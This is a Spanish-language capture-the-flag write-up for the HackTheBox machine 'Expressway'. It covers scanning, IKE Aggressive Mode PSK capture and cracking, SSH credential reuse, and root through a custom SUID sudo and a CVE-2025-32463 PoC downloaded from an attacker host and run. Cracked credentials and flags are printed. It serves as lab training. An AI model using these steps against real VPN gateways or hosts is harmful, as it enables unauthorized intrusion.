the_open_door
café
ESEN

Expressway

HackTheBoxFácilLinux10.10.11.87

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#ipsec#ike#isakmp#aggressive-mode#psk-crack#ike-scan#credential-reuse#ssh#sudo#suid#cve-2025-32463#oscp
TL;DR. El TCP solo expone SSH; la pista está en UDP: el 500 corre IKE/IPsec. El servidor acepta Aggressive Mode con autenticación PSK, lo que filtra la identidad ike@expressway.htb en claro. Con ike-scan + psk-crack se captura y crackea la PSK (freakingrockstarontheroad) y, por reutilización, entra por SSH como ike (user). Para root hay dos vías: la intencionada, un binario sudo alternativo en /usr/local/bin cuyo flag -h (host) + -i da una shell root usando un hostname interno filtrado en los logs de Squid (offramp.expressway.htb); y la no intencionada, CVE-2025-32463 sobre sudo 1.9.17.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.87

ping a 10.10.11.87: ttl=63 apunta a Linux

64 bytes from 10.10.11.87: icmp_seq=1 ttl=63 time=120 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos TCP

Un escaneo completo de puertos TCP devuelve un único puerto abierto, el 22:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.87

nmap -p-: solo el 22/tcp abierto, syn-ack ttl 63

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63

La detección de versiones sobre el 22 solo muestra un OpenSSH reciente, sin nada explotable directamente:

extractPorts, una función del .zshrc, resume el fichero -oG y deja el único puerto en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Expressway: IP 10.10.11.87 y puerto abierto 22, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.87
Open ports: 22

Ports copied to clipboard
nmap -p22 -sCV 10.10.11.87

nmap -sCV: OpenSSH 10.0p2 Debian

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Un SSH moderno y un solo puerto TCP no dan vector. Cuando el TCP no ofrece nada, toca mirar UDP.

Escaneo de puertos UDP

Escaneamos los 100 puertos UDP más comunes (UDP es lento, así que acotamos):

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 100 10.10.11.87 | grep -v 'filtered'

nmap UDP: 500/udp open isakmp

PORT    STATE SERVICE  REASON
500/udp open  isakmp   udp-response ttl 63

Aparece el 500/udp (ISAKMP). La detección de versión confirma que es IKE (con XAUTH y Dead Peer Detection):

nmap -sUCV -p500 10.10.11.87

nmap -sUCV p500: ike-version, XAUTH, Dead Peer Detection

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0

nmap etiqueta el servicio pero no explica qué es, así que el siguiente paso es documentarse sobre el puerto antes de atacarlo. La búsqueda sobre el 500/udp deja claro de qué se trata:

Página explicando qué es el puerto 500: UDP asociado al protocolo IKE, pieza central de IPsec y canal por defecto de las negociaciones IKE

What is Port 500?
Port 500 is a UDP port associated with the Internet Key Exchange (IKE) protocol, a cornerstone of IPsec.
IPsec is a framework for securing internet communications by authenticating and encrypting data.
Port 500 serves as the default channel for IKE negotiations. Its goal is to establish secure tunnels for
VPNs or other encrypted connections.

IKE (Internet Key Exchange) es el protocolo que IPsec usa para negociar y autenticar túneles VPN. Es el verdadero vector de la máquina, y con el nombre del protocolo ya se puede buscar metodología concreta: la sección de pentesting de IPsec/IKE de HackTricks describe paso a paso la enumeración y el ataque que se aplican a continuación.

Acceso como ike

IKE Aggressive Mode → captura y crackeo de la PSK

Con ike-scan forzamos Aggressive Mode (-A). Si el servidor lo acepta, revela parámetros e identidad en claro:

ike-scan -A 10.10.11.87

ike-scan -A: Aggressive Mode, Auth=PSK, ID ike@expressway.htb

Aggressive Mode Handshake returned ... SA=(Enc=3DES Hash=SHA1 Group=2:modp1024
Auth=PSK ...) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) ...

Dos datos de oro: la autenticación es PSK y el ID filtrado es ike@expressway.htb. Con ese ID forzamos de nuevo el handshake y volcamos el material crackeable:

sudo ike-scan -A 10.10.11.87 --id=ike@expressway.htb --pskcrack=ike.txt
cat ike.txt

ike-scan con --id y --pskcrack vuelca el hash a ike.txt

File: ike.txt
1870b1d4f8760e4e70257e64e220aaaa7ed097a53d384d614d725179b6ebd382937c27a573507eef5c91ad1d77347fc5837632ac3
3189d8a6e7c65e2394ff61f23bac11079d86caf596c9e03c7c95a153ccec4ec3617c90f1a8478d7089f5fc8ba2e7969fd2b500a0cb
97290596:61172b946ff65274:0000000100000000010000000801010004030000240101000080010058020002803000180040000
c00040000708000000024040100008001000180020001800300018004000280<SNIP>cb62a9f050dd0bcf

El fichero contiene el material del handshake (hash:salt) listo para atacar offline.

Ahora crackeamos la PSK por diccionario con psk-crack (incluido en el paquete de ike-scan):

psk-crack ike.txt --dictionary /home/krmena/rockyoudir/rockyou.txt

psk-crack: "freakingrockstarontheroad" matches SHA1 hash

key "freakingrockstarontheroad" matches SHA1 hash 6d818bcf5845ae...

PSK = freakingrockstarontheroad. El ID sugería un usuario ike; probamos esa pareja por reutilización de credenciales contra SSH.

SSH como ike

ssh ike@10.10.11.87

ssh ike: acceso concedido, Debian 6.16.7

ike@10.10.11.87's password:
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
...
Last login: Sat Oct 11 18:23:21 2025 from 10.10.16.6
ike@expressway:~$ whoami
ike

Las credenciales ike:freakingrockstarontheroad funcionan. La flag de usuario:

cat user.txt

cat user.txt como ike

adf55f3e13a095ac76c36b926151b8e2

Escalada a root

Vía 1 (intencionada): sudo SUID alternativo + hostname interno

Enumeramos los grupos de ike y descubrimos que pertenece a proxy. Un find por ese grupo lleva a los logs de Squid, y dentro aparece un hostname interno:

id
find / -group proxy 2>/dev/null
cat /var/log/squid/access.log.1

id muestra grupo proxy; el access.log de Squid filtra offramp.expressway.htb

uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
/run/squid
/var/log/squid
/var/log/squid/access.log.1
...
1753229688.902  0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html

id confirma la pertenencia al grupo proxy, que da lectura sobre los logs de Squid; entre las peticiones registradas aparece http://offramp.expressway.htb.

El log menciona el subdominio offramp.expressway.htb. Por sí solo no dice mucho, pero encaja al listar los binarios SUID:

find / -perm -4000 2>/dev/null

find SUID: dos binarios sudo, /usr/bin/sudo y /usr/local/bin/sudo

/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
...

En la lista SUID aparecen dos rutas a sudo: /usr/local/bin/sudo y /usr/bin/sudo.

Hay dos sudo: el normal en /usr/bin/sudo y otro en /usr/local/bin/sudo. Dos binarios sudo es muy raro, así que inspeccionamos el alternativo:

/usr/local/bin/sudo --help

/usr/local/bin/sudo --help: opciones -h (host) y -i (login shell)

sudo - execute a command as another user
...
Options:
  -h, --host=host               run command on host (if supported by plugin)
  -i, --login                   run login shell as the target user; a command
                                may also be specified

Dos opciones llaman la atención: -h ("run command on host, if supported by plugin") e -i (login shell como el usuario objetivo). Combinando el hostname interno filtrado con -i, y al ser el binario SUID:

/usr/local/bin/sudo -h offramp.expressway.htb -i
cat /root/root.txt

/usr/local/bin/sudo -h offramp.expressway.htb -i da shell root y root.txt

635834cf5cca1dab9c21872dac532de5

Shell de root. El binario sudo a medida, con su plugin que acepta -h, concede la sesión root al indicar el host interno.

Vía 2 (no intencionada): CVE-2025-32463 en sudo 1.9.17

Comprobamos la versión de sudo del sistema:

sudo -V

sudo -V: Sudo version 1.9.17

Sudo version 1.9.17

La 1.9.17 es vulnerable a CVE-2025-32463, una escalada local vía el chroot de sudo que no requiere ninguna regla concedida. Clonamos la PoC y la servimos por HTTP:

# atacante
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
python3 -m http.server 80

git clone del exploit CVE-2025-32463 y http.server

Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 15, done.
Receiving objects: 100% (15/15), 10.48 KiB | 10.48 MiB/s, done.
Resolving deltas: 100% (1/1), done.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

En la víctima, lo descargamos y le damos permisos:

cd /tmp/
wget http://10.10.16.6/cve-2025-32463.sh
chmod +x cve-2025-32463.sh

wget del exploit y chmod +x en la víctima

--2025-10-06 16:21:28--  http://10.10.16.6/cve-2025-32463.sh
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 800 [text/x-sh]
Saving to: 'cve-2025-32463.sh'
2025-10-06 16:21:28 (10.2 KB/s) - 'cve-2025-32463.sh' saved [800/800]

Lo ejecutamos y obtenemos root por la segunda vía:

./cve-2025-32463.sh
id
cat /root/root.txt

cve-2025-32463.sh da uid=0(root) y la root flag

uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
635834cf5cca1dab9c21872dac532de5

Cadena de ataque

nmap TCP (22 SSH) → nada → nmap UDP (500 IKE/IPsec)
  └─> ike-scan -A → Aggressive Mode + PSK → ID ike@expressway.htb
        └─> ike-scan --id --pskcrack + psk-crack → freakingrockstarontheroad
              └─> reutilización → ssh ike (user.txt)
                    ├─> Vía 1: grupo proxy → Squid log → offramp.expressway.htb
                    │     └─> /usr/local/bin/sudo (SUID) -h offramp.expressway.htb -i → root
                    └─> Vía 2: sudo 1.9.17 → CVE-2025-32463 → root

Lecciones aprendidas

  • No olvidar UDP. Con un único puerto TCP (SSH) la máquina parecía un muro; toda la cadena dependía de escanear UDP y encontrar el 500/udp (IKE). Un escaneo UDP acotado (--top-ports) por costumbre habría ahorrado el atasco.
  • IKE Aggressive Mode + PSK es una mala configuración crackeable. Aceptar Aggressive Mode filtra la identidad en claro y entrega material para atacar la PSK offline con ike-scan/psk-crack. Una PSK de diccionario (rockyou) lo remata.
  • La PSK se reutiliza. La clave de la VPN servía tal cual para SSH con el usuario que sugería el ID: el patrón de reutilización de credenciales una vez más.
  • Dos binarios sudo es una bandera roja. Un sudo a medida en /usr/local/bin (que precede a /usr/bin en el PATH) con un plugin que acepta -h era la escalada intencionada; el dato que faltaba (el hostname interno) estaba en los logs de Squid, accesibles por el grupo proxy.
  • Una versión vulnerable de sudo es escalada inmediata. CVE-2025-32463 (sudo 1.9.14–1.9.17) da root sin necesidad de reglas: en cuanto sudo -V cae en el rango, es la vía rápida (y no intencionada).
Cheatsheet de comandos 14 comandos

Repaso rápido